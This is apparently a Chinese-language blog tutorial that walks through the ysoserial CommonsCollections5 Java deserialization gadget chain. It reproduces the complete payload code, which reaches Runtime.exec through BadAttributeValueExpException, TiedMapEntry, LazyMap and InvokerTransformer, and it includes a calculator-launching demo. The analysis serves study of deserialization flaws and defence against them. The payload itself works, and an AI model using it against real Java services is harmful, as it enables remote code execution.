CC5链源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) } );
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]} ), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class}, execArgs), new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val; }
|
CC5链构成过程
根据ysoserial在源代码中的注释,方便我们对payload的理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
在程序执行ObjectInputStream.readObject()
,进入反序列化过程。整个Gadget构建在BadAttributeValue
下,也是通过该对象的反序列化构建出命令执行过程,跟入BadAttributeValue
中
在72通过get
方法获取val
的值,该获取的值在经历一系列类型判断后调用该对象的toString
方法。根据源代码,我们知道valObj的类型为TiedMapEntry
在toString
方法中,调用了getKey
与getValue
方法,跟进getValue
,它调用了Map接口中的get方法。
而LazyMap
继承AbstractMapDecorator
实现了Map接口,并实现了get方法
在执行get方法过程中会执行factory.transform
,跟进factory的定义,它通过源代码中final Map lazyMap = LazyMap.decorate(innerMap, transformerChain)
声明,根据传入的transformerChain的类型可知其为ChainedTransformer
。跟进ChainedTransformer
中的transform
方法,它遍历执行了传入的object
CC中类的解释
Transformer是一个接口,定义了一个transform方法
实现Transformer链式调用,通过一个Transformer数组
构造函数
1 2 3
| public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; }
|
在transform方法通过遍历Transformer数组每个对象,并调用每个对象的transform方法
利用Java反射机制创建类实例,在该类中有如下几个函数
构造函数InvokerTransformer
核心类方法 transform
通过这个类方法,我们可以直接实例化各种类,并传入任意参数,所以就可以直接构造命令执行实例
1 2 3 4 5 6 7
| InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{String.class}, new String[]{"open -a Calculator"} );
invokerTransformer.transform(Runtime.getRuntime());
|
每次返回相同常量